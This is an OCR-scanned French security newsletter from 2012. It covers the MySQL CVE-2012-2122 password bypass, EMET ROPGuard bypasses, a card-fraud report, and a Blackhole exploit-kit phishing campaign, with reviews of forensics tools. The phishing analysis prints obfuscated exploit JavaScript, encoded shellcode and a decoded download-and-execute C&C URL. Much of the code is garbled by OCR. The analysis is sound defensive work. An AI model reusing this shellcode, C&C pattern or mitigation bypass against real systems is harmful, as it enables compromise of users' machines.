une variable de type char, soit 1 octet. Lors de la conver-
sion du type integer en char, seul I'octet de poids faible est
gardé. Ainsi, toutes les valeurs retournées par la fonction
« check_scramble » seront toujours comprises entre -128
et 127. Comme l'octet de poids fort est perduy, il est alors
possible de retrouver plusieurs fois la méme valeur, pour
différents retours de memcmp !

Par exemple, la valeur 256 est égale a la valeur suivante en
binaire : 00000001.00000000

Comme un char ne fait qu’un octet, le bit de poids fort dis-
paraitra pendant la conversion, ce qui donnera en binaire :
00000000. La valeur retournée par « check_scramble » sera
alors 0, validant ainsi le mot de passe.

La valeur de retour de la fonction « check scramble » est
donc égale a 0 toutes les 256 valeurs.

Le code suivant a été lancé sur un systeme hébergeant un
MySQL non vulnérable, puis sur un systeme avec un MySQL
vulnérable.

<stdio. h>
<stdlib. h=

main()

one, two, ret;
time_t start = time(@d);
time_t now;

top B;

min B;

srand{getpid({)*start);
(1)
{

one
Two
ret

rand( ) :
rand( ) ;
mememp { &one, &two, { 1):
{ret = top)
top = ret;
{ret = min)
min = ret;

(time(&now) - start = 18]

{
printf{«%d - %d'n=, min, top);
a;

}

Sur un systéme non vulnérable, nous avons constaté que la
fonction « memcmp » renvoie des valeurs comprises entre
-255 et 255 uniquement. Sur un systéme vulnérable, celle-
ci renvoie des valeurs comprises entre -65280 et 65280.

(’est une optimisation de la glibc, compilée avec les jeux
d’instruction « Streaming SIMD Extensions », généralement
abrégé SSE, qui modifie le comportement de la fonction
memcmp. Etant donné qu’un octet est perdu lors de la
conversion, la fonction « check scramble » renvoie alors 0
toute les 256 valeurs !

La comparaison opérée au sein de la fonction « check_

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.

scramble », est effectuée entre 2 valeurs, générées a partir
du mot de passe. Ces valeurs sont crées avec un ‘seed’ aléa-
toire, recalculée a chaque appel de la fonction. Il y a alors 1
chance sur 256 pour que la valeur de retour de la fonction
« check_scramble » soit égale a 0. La valeur de retour de
cette fonction étant utilisée lors de la validation du mot de
passe, il y a alors 1 chance sur 256 que MySQL accepte le
mot de passe.

Celui-ci est trés simple. Au lieu de convertir directement
le résultat de la fonction memcmp, la valeur de retour est
transmise dans une fonction renvoyant 0 si celle-ci est
égale a 0, ou 1 dans le cas contraire.

/f my_global.h
testial ({a) 71 : @)
f/ password.c

my_bool check_scramblel uchar *scramble_arg,

*message, uint& =xhash_stagel)
{
test(memcmp{hash_stage2,
hash_stage2_reassured, SHA1_HASH_SIZE));
}

La valeur convertie en char ne posera alors plus de pro-
bléeme, elle vaudra toujours 1 ou 0.

Malgré un buzz sur le sujet, peu de systemes sont impactés.
En effet, seuls les systemes ayant leur glibc optimisée SSE
sont vulnérables. Les principaux systemes impactés sont les
suivants :

Ubuntu Linux 64-bit

OpenSuSE 64-bit

Debian Unstable 64-bit

Fedora

Arch Linux

On retrouve peu de systemes utilisés en entreprise. RedHat,
Debian, SUSE, ou encore FreeBSD ne sont pas vulnérables.

D’apres une étude menée par HD Moore, sur 1,74 million
de MySQL trouvés en écoute sur internet, 44 000 seulement
reposeraient sur Ubuntu. Seule une partie de ces 44 000
MySQL serait vulnérable, puisqu’il n’y a que la version 64
bits d’Ubuntu qui est concernée.

=}= Références CERT-XMCO
CXA-2012-0981, CXA-2012-0983, CXA-2012-0988

== Exploit Metasploit
https://community.rapid7.com/community/metasploit/
blog/2012/06/11/cve-2012-2122-a-tragically-comedic-se-
curity-flaw-in-mysql]
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F5 et ses clefs....
par Adrien GUINAULT|

Le 11 juin 2012, la liste de diffusion « Full disclosure » a
quelque peu réveillé la communauté avec la publication des
détails sur une vulnérabilité critique affectant les équipe-
ments F5 BIG-IP.

Retour et explication de cette vulnérabilité...

BIG quoi ?

Les systemes F5 BIG-IP sont des appliances jouant le réle a
la fois de reverse proxy et de load balancer. Ces derniers,
particulierement appréciés des RSSI peuvent étre adminis-
trés par le biais d’une interface web mais également en ligne
de commande au travers du protocole SSH, jusque I3 tout va
bien.

Vulnérabilité critique vous avez dit ?

La suite de cet article est réservée aux abonnés du CERT-
XMCO...
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L'Observatoire de la sécurité des cartes de paiement
publie son rapport annuel 2011

Tout comme les années précédentes, la Banque de France
a publié début juillet son 9e rapport annuel sur la sécurité
des cartes de paiement pour I'année 2011.

Ce rapport se compose de plusieurs parties distinctes abor-
dant les sujets suivants :

o= 'état des lieux de la sécurisation des paiements par
carte sur Internet ;

o= |es statistiques de fraude pour 2011 ;

== une veille technologique ;

== |a coopération internationale en matiere de lutte contre
la fraude ;

o= les conseils de prudence a I'usage des porteurs ;

== |a protection du titulaire d’une carte en cas de paie-
ment non autorisé ;

== la présentation des missions et de I'organisation de
I'Observatoire ;

== et enfin des définitions concernant la typologie de la
fraude relative aux cartes de paiement.

Contrairement a la tendance baissiere au niveau mondial
(voir CXA-2012-1329), le taux de fraude aux cartes ban-
caires en France s'établit pour I'année 2011 a 0,077 %
(équivalent a un montant total de 413,2 millions d’euros),
en légere augmentation de 0,003 % par rapport a I'année
précédente (0,074 % et 368,9 millions d'euros en 2010,
voir CXA-2011-1153).

Cette différence entre la France et le reste du monde peut
étre expliquée par plusieurs facteurs principaux :

== I'importante augmentation de la fraude sur les paie-
ments a distance (par internet, par téléphone et par cour-
rier) qui est passée de 0,262 % en 2010 a 0,321 %, avec
la fraude sur Internet en premiere place a 0,341 % (contre
0,276 % en 2010). Ce type de fraude étant d’autant plus
important qu'il représente plus de 60 % du montant total
de la fraude, alors que le paiement a distance ne repré-
sente qu’environ 8 % des transactions au niveau national.

== I'importante augmentation de la fraude sur les paie-
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Le white-paper du mois

par Charles DAGOUAT

ments de proximité et sur les retraits, qui sont respective-
ment passées de 0,012 % et 0,024 % en 2010, a 0,015 %
et 0,029 %.

On peut noter que ces deux facteurs d’augmentation princi-
paux correspondent aux attaques les plus en vogue contre
les cartes bancaires : vols d’informations bancaires via des
malwares tels que les bankers, et skimming des cartes.

Dans le méme temps, malgré une avancée importante en
matiere d’efficacité des moyens de sécurisation mis en
place par les prestataires de paiement, |'Observatoire met
en avant que seulement 23 % des transactions réalisées
sur Internet sont protégées contre le rejeu des informations
échangées via des mécanismes de protection tels que 3D-
Secure. L'adoption de ces protections par les eCommercants
est une priorité pour la Banque de France, qui annonce
que des mesures seront prises dans ce sens pour faciliter
cette généralisation, et que par ailleurs « SecuRe Pay », le
forum européen sur la sécurité des moyens de paiement
a proposé des recommandations similaires qui pourraient
déboucher sur la généralisation a terme de ces dispositifs
au niveau européen.

En matiere de sécurité des paiements, I'observatoire n'en-
visage pas pour l'instant le déploiement massif de solu-
tions de paiement par smartphone. En effet, ces terminaux
sont encore actuellement trop peu sécurisés pour offrir les
mémes protections qu’un terminal de paiement tradition-
nel.

Enfin, méme si de nombreuses passerelles d'échange
existent entre les acteurs de la lutte contre la fraude, ce rap-
port présente les différents axes d’amélioration en matiere
de coopération aussi bien en France, en Europe ou dans le
monde.

L'observatoire propose aussi aux porteurs de cartes de
paiement des recommandations pour assurer la sécurité de
leurs transactions dans un document disponible a 'adresse
suivante :
http://www.banque-france.fr/observatoire/telechar/An-
nexe1.pdf

Ce rapport est disponible a I'adresse suivante :
http://www.banque-france.fr/observatoire/rap_act_fr_11.
htm
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Microsoft, dans I'optique d’améliorer la sécurité de ses sys-
temes d’exploitation, a récemment lancé un concours nom-
mé BlueHatPrize. Le but de ce concours était de concevoir
une technique de mitigation d’exploitation supplémentaire
a celles déja existantes (DEP, SAFESEH, ASLR...). Les gains
s’élevaient a 200 000 $ pour le premier prix, de 50 000 $
pour le deuxiéme prix et une souscription a I'ensemble du
MSDN (10 000$) pour le troisieme prix.

Microsoft annonca les trois finalistes de ce concours, Vasilis
Pappas, Ivan Fratric et Jared DeMott, peu de temps avant
les résultats finaux lors de la BlackHat 2012.

Ivan Fratric a vu sa protection, ROPGuard étre implémentée
au sein d’EMET. Ce logiciel vise a ajouter des couches sup-
plémentaires de mitigations a celles offertes de base par le
systeme d’exploitation.

La protection ROPGuard vise a empécher I'exploitation de
vulnérabilités se basant sur la technique ROP qui permet de
contourner notamment la mitigation DEP et dans certains
cas de figure, la mitigation ASLR. Cette technique d’exploita-
tion repose sur la réutilisation de portions de code (appelés
gadgets) du logiciel vulnérable afin d’exécuter des instruc-
tions controlées par |'attaquant (charge utile de I'exploit).
('est la technique la plus utilisée dans les exploits actuels.
ROPGuard controle lors de I'exécution et particulierement
les appels aux fonctions sensibles souvent appelées par les
charges utiles des exploits (VirtualProtec, VirtualAllog, ...).

Bien que cette protection semble étre efficace, un chercheur
iranien connu sous le pseudonyme de Ponez publia apres
la parution d’EMET 3.5 une technique de contournement de
cette nouvelle mitigation.

Celle-ci se base sur le fait que la protection ROPGuard ne
contréle qu'un certain nombre d’APIs sensibles (Virtual-
Protect, VirtualAllog,....). Ponez a trouvé une technique
permettant d’identifier la fonction « KiFastSystemCall » a
partir de la structure SHARED_USER_DATA qui est toujours
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présente a une certaine adresse au sein du processus en
mémoire (0x7FFEQ000). Le contournement consiste ensuite
a appeler la fonction « ZwProtectVirtualMemory » qui per-
met de modifier les propriétés d'une zone mémoire et de la
rendre exécutable. Cet appel systéme permet a |'attaquant
de rendre exécutable la zone mémoire ou est placée sa
charge utile pour ensuite y dévier le flux d’exécution du
programme.

L'astuce réside ici dans I'utilisation du Syscall « ZwProtec-
tVirtualMemory » permettant de réaliser la méme opéra-
tion que VirtualProtect et qui n'est pas controlée par EMET.
L'exploit de Ponez modifie ensuite EMET en mémoire afin
de pouvoir appeler d’autres APIs normalement controlées.

« Le but du concours était de concevoir une
technique de mitigation d’exploitation sup-
plémentaire a celles déja existantes (DEP,
SAFESEH, ASLR...). »

Le lendemain, Ponez met a jour son article et spécifie que
Microsoft était déja au courant de ce type de contourne-
ment. Il publie, le jour méme, une nouvelle technique de
contournement. Celle-ci se base cette fois sur la DLL Ker-
nelBase.dll (présente sur les systemes Windows 7) qui
n‘est pas du tout controlée par EMET (contrairement aux
fameuses DLL ntdll.dll et kernel32.dll). Grace a une charge
utile spécifique, la nouvelle technique de contournement
consiste a obtenir I'adresse de la fonction VirtualProtect a
partir de cette DLL et de parvenir au méme résultat.

Il est cependant a noter que ces techniques de contourne-
ment de ROPGuard reposent sur la connaissance d'adresses
de structures ou de DLL. Ainsi, si la mitigation ASLR est acti-
vée sur le logiciel vulnérable, I'attaquant doit au préalable
contourner cette mitigation (modules ne participant pas a
I'ASLR, fuite d’adresse mémaoire).

http://repret.wordpress.com/2012/08/08/bypassing-
emet-3-5s-rop-mitigations/
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Le Phishing du mois : AT&T
vs Blackhole

par Adrien GUINAULT

Rodrigo R.

AT&T and BlackHole Une fois le lien suivi, l'internaute est dirigé vers de nom-
breux domaines différents. Dans notre cas, nous avons recu
Ce mois-ci intéressons-nous a une nouvelle attaque de deux emails différents poitant vers :
phishing affectant cette fois la société AT&T. o= http://jaguarloszer.info
o= http://vogantube.com
Nous avons recu un email assez profesionnel nous deman-
dant de s’authentifier sur le site de AT&T afin de régler une s

C i | [) vogantube.com/bilathtm!

facture... Dear Esteemed Costomer

A new bill for your AT&T account is ready.

Loading billing information...

ot@craigslist.org>

to be paid now. Home Phone § $711.76 08/2412012

1AEC Thank you for choosing AT&T. We value your business and look forward to serving you!
com

</head>

ear Esteened Custoner</h3>
new Bill for your ATGT account is ready.
/s>
08/24/2012¢/h5>

info/m style="visibility: hidden; position: absolute; left: Opx; top: 8px; "

att.com | Support | My AT&T Account

(([3

Dear Esteemed Custamer, Ces deux sites embarquent une iframe qui redirige l'inter-
A new bill for your AT&T account is ready naute Ve['s Une page Obfusquée‘

Any transactions made after your bill period ends will not be shown in the bill amount listed
directly below. If you have made a recent payment, please refer to the current balance on the

Account Overview and the Bill & Payments pages H ;ﬁ"“}>‘°°”Y><5‘”PDZ:f“"‘“""‘)(‘= ;
3
4
Service Account ending in | Bill Amount Due Date 5
6 dd=32654-1-2+1;
Home Phone 4 578.98 | 08/06/2012 Z b=d;
$ 8 dd=dd-bxm [ 1"+ 00" +" "] (dd/d);
9 k=v¥1-(dd-11);
. . . . 10 c=c+f(k);
Log in to online account management to view your bill and bill notices, maintain your email 11
account or make a payment. If you are not registered for online account management, you 12
must do so to view and print your full bill and bill notices at www.att.com/managemyaccount. ﬁ o) i 2220hmenes 2762657275382525 ehes30236a5864 IehessE5CE55b1673736¢61 4
i . i intai i if(z)g=" wehes 5302363 wehes 473736c6168hweh di
Log in to online account management to view your bill, maintain your emall account or make | - 6265727bhwehes3866506958606a576145hwehes3b494941426b5d65645ehwehes2d6c5e6c4e6934216557 hwehes65526d25601
payment. + 34hwehes2119645661711724668h, 62326472561 76c655b6274616c60hwehes38685a684a651571!
- es576942361c375c5c5862hwehes642d391e38256 hwehes5d725f6942361c371769hwehes5b6e606a6d646e5b655ehw
- 6e6d6c2e2d376c6 hwehes6e611345b5c606e706ahwehes64616e6467161c67715eh: hweh
Log in - 665a1f345dh 3686966b7 h 16b51d2360665d5chwehes60631c3c6c6465675b19hwehes115b6956:
- 6230hwehes5e2e572c30592a32560hwehes 2e302c5b292c2563560hwehes 335e322d2e5a5b572661hwehes2130325d2b5b30!
- ehes29283160315e2b2d2F2dhwer 929323332605¢ 92a323321312c5chwehes215d2926326e646b653al
. - 50675e341933206960hwehes6c5b636d5a643d31173dhwehes2d1d232e2c5b2e22b57hwehes6151346132605c5b2b5bhwehes
Thank you for choosing AT&T. We value your business and look forward to serving you! + 31325e5f5b2ahwehes5a28292b612f5f345c31hwehes2e2a2a2a573533322 2bhwehes2302b2c292934323233hwehes302d2c
- 282a 336120223667 3e647467291c24506457hwehes636529112338576e6458hwehes6c1526636672(
Thank you . 3d31173d255f 8616b58625b76712c64hwehes6e5b655626695760612chwehes61715b70635a655472:
‘ - 6060696a726950272630hwehes6573726523385f6¢ 11d232b2a2d1fhwehes 762641b2129hweh:

ATRET Online Services
www.att.com

Contact Us
AT&T Support - quick & easy support is available 24/7.

OE & - Une fois le contenu fje la variable «g » déc'hiffré, nous obte-
nons plus de 2000 lignes de codes JavaScript dont quelques

Stay connected with AT&T. Visit us online at att.com/move. é|émeﬂt5 nOUS donnent deS IﬂdlcatlonS DféCISES SUr Ia ﬂa'
ture des actions réalisées.

Get more time to do what Save time and pay your Visit our Special Offers to
vau want. What would manthlv hill rheck aut nur hest

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite. [XMco)
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1t(typeot pitver == ‘string) { Le déchiffrement de cette variable avec un XOR (0x28) per-
j Bfveq 7 patver. sl met de distinguer une URL de la forme w.php?f=XXXXX.

X pdfver = [#, B, @, B];

1 {typeot 1 Ce type d'URL est caractéristique des serveurs de
 sehier = 1o, o, 0, ol Command&Control basés sur BlackHole.

H

f javaver == 'string') {
e i Nous pouvons déduire que le ShellCode en question était
, Jevever = 10,0, 0, O donc destiné a exploiter une vulnérabilité dans I'un des
Hoan, et logiciels tiers indiqués puis a connecter la machine com-
Function spL20)4 promise au serveur C&C controlé par les pirates (Download
spl3(); E
! xec).
fu ion spl3(){
splal);
spla(){
out(spl5, 1008); (onclusion
getCNﬁ]{ .
‘data/score.swf';
geetlocksize() { Cette attaque qui paraissait étre un simple Phishing est en
L réalité bien plus critique puisqu’elle a sans doute permis
getAllocSize(){ . A~ I
1024 + 1024; aux pirates de prendre le controle de nombreux PC d'inter-
getallocCount ()¢ nautes crédules ou curieux de suivre le lien...
getFillBytes(){
= 'Ssu' + 'Becbec’;
a + a;
_] {gEtShE'L'LCudE(]{
1
return "%ud4ld4l%udl4l%uB366%sufcedsuebTesusSBlR%ucI31%uBl66%udced%uBat

%ud7d7%ua3b0%ulBEB%ubeeb%ulell%ud3Sdsulcateuad@chuSdochucl?B%ubdc3%uTel

%Ub324%ubeabsudTcd%ubcTc%ualdZasuZbTR%ua3To%uad2chued2b%uTbB3%ueb71%uTbe

%U2BcR%u2B2B%uT02B%u427B%u4B6B%u2BdT%su2B2B%uabTB%u31eBsuTd7B%sucdal%uTbe

%u2cBckuSasekulalbbubcefsu2BBckubS5BB%uBB5b%u4BTb%u2BdR%u2B2B%uTed T%ua3l

%u7b2B%u7ed7%ud22chuab2B%u24c3%ud77b%su2cTesuebabbuc324%uc32a%ubf3b%ulie

%ul25B%uB707%udd5b%u5a40%udB4b%uddad%u5bSb%udd5F%us f4akuSbab%ud d4@%uBEs
}

}
fu ion spls(){

verl = flashver[0];
verz = flashver[1];

ver3 = flashver[2];
if({({verl == 10 && ver2 == @ && ver3 > 48) || ({verl == 18 && ver2 >
ar fname = "data/field";
Flash_obj "ewobject classid='clsid:d27cdbbe—aebd-11cf-0EbB-444

Flash_obj +

al = "alwavs":

aram name='movie’ value='" + fname + ".swf' />";

En effet, le code tente d’identifier la version de Flash,
Adobe et de Java puis fait appel a une fonction nommée
« getShellCode »...

XOR Analysis
Decrpytion with XOR key 40 (0x28) matched pattern(s): http:\W, \.dll

GeeEeOe0 69 69 69 69 de ab cc d4 d4 <3 38 70 19 el de a8 |iiiiN..... 8p..N. |
Geeeeele cl 64 d6 a8 18 8@ 68 ca d2 c3 2d c@ c3 d7 d7 d7 |.d..ocheoi=ainn
@eaaoaze 85 e4 75 34 e9 5T 33 c@ 64 8b 4@ 3@ 8b 4@ Oc 8b |..ud._3.d.@3.G..|
peeede3e 7@ 1c 56 Bb 76 @8 33 db 66 8b S5e 3c 83 74 33 2¢  |p.V.v.3.T."<.13, |
Geeeeedd Bl ee 15 10 Tf TT b8 8b 40 38 c3 46 39 86 75 Tb  |.....vun @a.F9.u. |
Geeeease 87 34 24 85 ed 75 51 e9 eb 4c 51 56 8b 75 3c 8b |.45..u..LOV.u<.|
@g@aaoece 74 35 78 @3 f5 56 Bb 76 2@ @3 5 33 <9 49 41 fc  [t5x..V.v .. 3.IAL
eeeeea7e ad @3 c5 33 db @f be 10 38 T2 74 @8 ¢l cb ed @3
Geeee030 da 48 eb T1 3b 1T 75 ef Se 8b Se 24 83 dd 66 8b
Geeeeasd @c 4b Bd 46 ec ff 54 24 @c 8b dB @3 dd 8b 84 8b
@eaaoead @3 <5 ab 5e 59 c3 eb 53 ad 8b 68 2@ 8@ 7d @c 33
eeeeeobe 74 @3 96 eb T3 8b 68 @8 Bb T7 6a @5 59 ed 98 Tf
eopedoced T ff e2 O eB 0@ 00 00 00 58 5@ 6a 40 68 1T 00
Goeeeade @@ @@ 50 B3 c@ 19 58 55 Bb ec 8b 5e 1@ 83 c3 @5
@eaadeed T e3 68 6T 6e @@ @@ 68 75 72 6¢ 6d 54 f 16 83 |..hon..hurlmT...|

peeedate c4 @8 8b e8 eB 61 TT ff Tf eb 82 eb 72 81 ec B4 |uvvuiBivsnsaliad]
Geeeele0 @1 @0 @0 Bd 5c 24 Oc <7 84 24 T2 65 67 73 7 44 |....\3...5regs.D|
Geeeelle 24 @4 76 72 33 32 <7 44 24 @8 20 2d 73 28 53 68 |5.vr32.D5. -s 5h|
@eaaolze T3 @@ 80 @@ ff 56 @c 8b eB 33 ¢9 51 c7 44 1d @@ |.....V.u 3.0.004 |

eeeeel3e 77 7@ 62 74 c7 44 1d @5 2e 64 6C 6C ¢6 44 1d 09  |wpbt.D...dlL.D.. |
Geeeel4d @@ 59 8a cl @4 3@ 88 44 1d @4 41 51 6a 00 6a 0@ |.Y...@.D..AQj.].]
eeeeelse 53 57 6a @@ ff 56 14 85 c@ 75 16 6a @@ 53 ff 56
@eee0l6e @4 Ga 80 B3 eb @c 53 ff 56 @4 83 c3 @c eb 92 eb
eeeeel7e 13 47 80 3T @@ 75 fa 47 8@ 37 0@ 75 c4 6a @@ 6a
eeeee180 fe Tf 56 08 eB 9c fe Tf T 8e de @e ec 98 fe 8a |[..V. .
00000190 @e 89 6f @1 bd 33 ca 8a 5b 1b c6 46 79 36 1a 2f |..o0..3..[..Fy6./|
@eaa0lae 7@ 68 74 74 78 3a 2T 2f 73 65 61 72 63 68 6c 65 |phttp://searchle|
peeeelbe 73 73 77 65 62 77 61 73 68 65 72 2e 69 Ge 66 6T |sswebwasher.info|
bopedlce 2T 77 2e 70 68 7@ 3T 66 3d 33 31 33 35 39 26 65 |/w.php?T=31359&e|
eeeeelda 3d 31 @0 0o |=1..]

' XmCO’I Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.



Blog, logiciels et Twitter

A chaque parution, dans cette rubrique, nous
vous présentons des outils libres, des extensions
Firefox, ou encore nos sites web préférés.

Pour cette édition, nous avons choisi de vous pré-
senter WOLFY et Microsoft Security Compliance
Manager ainsi qu’une sélection des profils Twit-
ter suivis par le CERT-XMCO.

WOLFY

Outil « Post-Forensics »

Microsoft Security Compliance Manager
TW I TT E R Analyse et déploiement de GPO

Top Twitter
Une sélection de comptes Twitter suivis par le CERT-XMCO
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> WOLFY

Outil post-forensics

DISPONIBLE A L’ADRESSE SUIVANTE :

http://www.xmco.fr/wolfy-post-forensics.html

Wolfy est un excellent outil :-) développé dans le cadre
de missions forensics afin de rechercher des «pattern»
précis (clefs de reqistre, fichiers, etc.) sur des systemes
Windows.

XMCO Wolfy permet de rechercher la présence d'une
backdoor ou toute autre «signature personnalisée» d'une
intrusion sur de nombreuses machines Windows et ceci a
distance (RPC/WMI):

== Recherche sur la présence de fichiers (ex: la présence
d’une DLL identifiée d’'un malware située dans le dossier
des utilisateurs);

o= Recherche sur la présence de clé de registre (ex:
conformité avec la PSSI, présence de clé liée a l'installa-
tion d’une backdoor);

Blog, logiciels et Twitter

ok Recherche sur les connexions réseau (ex: le serveur
Web en DMZ a une connexion sur le port NETBIOS d’un
serveur de fichiers interne, une machine a établi une
connexion avec un serveur C&C identifié lors des investi-
gations, etc.);

o Tester les connexions TCP directes (ex: est-ce que la
machine a un acces direct a Internet, est-ce que le serveur
en DMZ peut faire des connexions sur le LAN, ...);

o= Recherche au sein des logs locaux Windows (ex:
connexion avec un compte d’administration utilisé par les
pirates, détection d’eventlD suspect...);

ok Recherche sur certains Artifacts Windows (/Recent de
chaque compte local, les taches planifiées, Startup Com-
mand);

ok Recherche sur tous les programmes en cours d’exé-
cution et le PATH de chaque DLL chargée (ex: identifier
une DLL injectée au sein d'un programme/service depuis
le dossier TEMP, le HOME d’un utilisateur ou un autre
disque...);

ok Les résultats sont par ailleurs exportables en TXT/HTML
et parsables avec GREP (ex: grep FOUND).

Quelques autres exemples concrets/simples d’utilisation :
o Identifier des machines compromises par une
backdoor/malware pendant que I'éditeur antivirus déve-
loppe un « quick patch » pour celle-ci;

ok Identifier des machines encore infectées par un ver
connu (ex: Mariposa) que |'antivirus ne détectait pas;

o Rechercher la présence de Flame a partir de I'en-
semble des informations publiques;

ok |dentifier des comptes d’administration compromis
(utilisation de pwdumplike au sein des Artifacts Windows
/Recent).

INDOW S system32', cmd.exe

E = ual ProjectssWolfysWolfysbinsRelease>Wolfy.exe —h
## .z WOLFY : Version B.5 (Betal B2811 | RMCO

it Post—Forensics Quick Checks

### Yannick Hamon {yannick.hamon@xmco.frl>

Usage: Wolfy.exe [-config=] [-singleip
work —outhound] [-timeout=1 [—output=TH =
Example = Config: % [ B |Logs: ¥ [ | @
Wolfy.exe —all —rangeip=172_26 ]

Wolfy.exe —Fileip=listIP.txt —njjigelels]

—h : show thiz help

T
T

. . " Range
—u : print current version

@ P Address / Hostname  |127.0.01

Checks {(default: . AWolfy.cfg>

-
—config=<file>: path to the cq ImportFile {127 0.07

192.168.1.1-192. 168,266,254
Browse... |

Scope Cdefault: —singleip=127.8.8.1>
—singleip={ip-shostname>: 192.]
—pangei irstIP-lastIP>: 193
—fileip={file>: path of a sing

Credentials (default: —currentuser)
— entuser: use current user
—user=<{Domain“user? —passwordd

[1 thiead / host]

tain Process

# Thieads ¥ Shaw Detug

ssment (default: -all>
—all: perform files. registry)]
—file: perform files checks
—registry: perform registry ch

exec moduls: Activated

—network: perform network ched
—outbound: perform outhound cH
—zecuritylog: perform security

MNetwork timeout (default: -timeout=-880)
—timeout=<{value>: timeout <(ms)

Dutput (default: —output=THT>
—output=<value>: choose hetweg

Main Status: Idle

[+] [05/06/201 2 17:57:46] [w/OLFY Unleashed] Remote

=1l x|

Credentials
& CurentlUser  [mandatory for localhost] Ll
& Aecount H2
Usertdame H3
|> Check
Fassword L

Checks

W Files ¥ Registiy ¥ Process/DLL ¥ Outbound Traffic
" Security Logs W Metwork M windows Artifacts

[/ Verbose Debug) fie. Frecent, &, Startup)
™ wolly Unleashed

Thread #1 | Thiead #2 | Thread #3 | Thread #4

Status:  Idle

[Xmcol
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> Microsoft Security

Com Iiance Mana er SCM est un logiciel de sécurité gratuit et fourni par Micro-
p g soft qui permet :

Ana|yse GPO o= d’accéder de maniére simple a I'ensemble des docu-
mentations sécurité fournies par Microsoft;
DISPONIBLE A L’ADRESSE SUIVANTE : ll'd'importer ses propres GPO et de les comparer/fusion-
http://technet.microsoft.com/en-us/library/cc677002.aspx  [RASECAASS Ie; N\ellleure§ P[athues de Microsoft;
o= d’obtenir des descriptions détaillées pour chacun des
parameétres de sécurité;
o= d’exporter vos nouvelles GPO sous différents formats.

SCM nécessite Windows Installer, le framework .NET et SQL
Cet outil peu médiatisé est un «must have» pour tous les Express

administrateurs qui souhaitent comparer leur GPO aux
Meilleures Pratiques de Microsoft.

Cet outil est simple a utiliser et permet notamment d’ex-
porter les GPO adaptées afin de les utiliser sur un Systeme
d’Information. Entres les documentations techniques et
les nombreuses fonctions offertes, il devrait rapidement
étre adopté.

T Microsoft Security Compliance Manager o || B 2R

| File Vl'ev.{,\\g- Help Global setting search

| Custom Baselines

: ; Attachment Baseline # Import
4 Microsoft Baselines . : 5 : .
Exchange Server 2007 5P3 Link to Win7SP1 Baselines Release Notes.url Win75P1 Baseline Attachments 1.0 GPO Backup (folder)
Exchange Server 2010 SP2 Win75PLIT_GRC_MCA_MP.cab Win75P1 Baseline Attachments 1.0 SCM (.cab)
‘ Internet Explorer 8 Windows 7 SP1 Security Guide.docx Win7SP1 Baseline Attachments 1.0
Internet Explorer 9 #  Attachment
E Microsoft Office 2007 SP2 -
i Microsaft Office 2010 SP1 Open
4 Windows 7 SP1 Savells
Attachments \ Guides ~) Help
Win75P1 Bitlocker Security 1.(
Win75P1 Computer Security € Ehout
Win75P1 Domain Security Co Help Topics

Win75P1 User Security Compl

Release Notes
Windows Server 2003 5P2

Windows Server 2008 R2 SPL T iarsasizais . SRR =0
Windows Server 2008 Sp2 Baseline B: WS20035P2 Domain Controller Security Compliance 1.0
Windowe Vists SP2 lm? u |§1uesett|ng:(:n'\para\l‘aj, |
: e otal settings in commor: 28
Windows XP 5P3 E Total settings not in comman: 303 i
Other Baselines — _ =
scc. (#) Settings that differ (18) s
MName Baseline A Baseline B Ul Path
= Add workstations to domain AuthenticatedUsers NotDefined Computer Configurati ndows Settings\Security
U Access this computer from the network Pre-Windows2000Compatible! NotDefined Computer Configurati dows SettingsiSecurity
Force shutdown from a remate system ServerOperators Administrator:  NotDefined Computer Configurati ndows Settings\Securiy
Coller Restore files and directaries ServerOperators BackupOperat  NotDefined Computer Configurati ndows Settings\Securiy
- Shut down the system PrintCiperstors ServerQperator: Administrators  Computer Configurati dows SettingsiSecurity
o Profile system performance *5-1-5-80-3139157870-29833¢  Administrators  Computer Configurati ndows Settings\Securiy
FrEaat-pdiic Change the system time ServerOperators Administrator  NotDefined Computer Configurati nd ettings\Security
AL Enable computer and user accounts to be trusted for_ Administrators NotDefined Computer Configurati vs SettingsiSecurity | | 4

| Settings that match (10)
Name Baseline A Baseline B UL Path

Domain member: Digitally encrypt or sign secure ch:  Enabled Enabled Computer Configuratio
Microsoft netw

ndows Settings\Securiy,
Settings\Security

Settings\Security
Settings\Security

I server: Digitally sign communicati  Enabled Enabled Computer Configuratio
Microsoft network server: Digitally sign communicati  Enabled Enabled Computer Configuratio
Create a pagefile Administrators  Administrators ~ Computer Configuratio

m

Debug programs Administrators  Administrators  Computer Configuration\Windows Settings\Security
Profile single process Administrators  Administrators  Computer Configuration\Windows Settings\Security
Manage auditing and security log Administrators  Administrators  Computer Configuration\Windows Settings\Security
Madify firmware environment values Administrators_ Administrators _Computer Configuration\Windows Settings\Security

~ | Settings only in Baseline A (0)

~ Settings only in Baseline B (303)

Mame Baseline B UL Path

System cryptography: Force strong key protection fo  Not Defined Computer Configuration\Windows Settings\Security Settings\Lecal Po
Domain member: Require strong (Windows 2000 or 1 Computer Configuratio: Settings\Security Settings\Lecal Pc
Retention method for system log WhenNeeded Computer Configuratio: Settings\Security Settin:

Retain system log Not Defined Computer Configuratio: Settings\Security Settin:

MSS: (WarningLevel) Percentage threshold for the se 90 Computer Configuratio: Settings\Security Settin

Retention method for application log WhenNeeded Computer Configuratio: \Security Setting

Maximum system log size 18384 Computer Configuration\Wind ttings\ Security Settin

Retention method for security lag WhenNeedead Computer Configuratio: Settings\Security Settings’

| Bxarttofxcel | [ Close ~
i »

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite. [XMco)



40

> Sélection des comptes Twitte

par le CERT-XMCO...

CERT-XMCO Advisories

Shahriyar Jalayeri

Eloi Vanderbeken

André Moulu

@Myst3rie

Nicolas Ruff

@msftsecresponse

@jgrusko

@adobesecurity

Securing the Human (SANS)
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